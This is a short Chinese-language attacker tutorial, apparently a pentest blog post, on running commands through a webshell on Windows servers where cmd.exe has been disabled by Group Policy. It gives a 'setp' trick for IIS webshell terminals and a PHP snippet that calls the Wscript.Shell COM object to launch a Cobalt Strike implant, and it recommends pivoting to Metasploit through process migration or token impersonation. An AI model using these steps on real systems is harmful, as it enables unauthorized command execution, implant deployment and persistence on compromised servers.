拿到webshell以后发现无法执行命令,抛开RCE限制不说,提示命令提示符已经被管理员禁用,换句话来书cmd.exe被禁用了
为什么会出现这种情况?
gpedit.msc->用户配置->管理模板->系统->阻止访问命令提示符(脚本处理);
但该设置仅对当前登录用户有效,对Users、System、NetworkService以及其他用户均无效。
1.IIS环境命令执行桡过:
虚拟终端里用setp命令将CS木马指定为新终端,然后随便的输入几个字符回车即可跳出cmd.exe执行CS木马上线,只要能跳出cmd.exe就可以绕过。
setp C:\inetpub\wwwroot\artifact.exe
2.apache环境命令执行绕过
通过php调用com组件wscript.shell执行命令,将以下代码的第3行替换为CS木马即可,归根到底还是得跳出cmd.exe。
<?php
$wsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$wsh->exec("C:\ProgramData\artifact.exe");
?>
这种傻瓜式绕过还是不能直接在该会话中执行系统命令。需要联动到MSF上使用进程迁移或假冒令牌到其他用户才可以执行系统命令,CS联动MSF时用的rundll32,所以不会再被拦截了。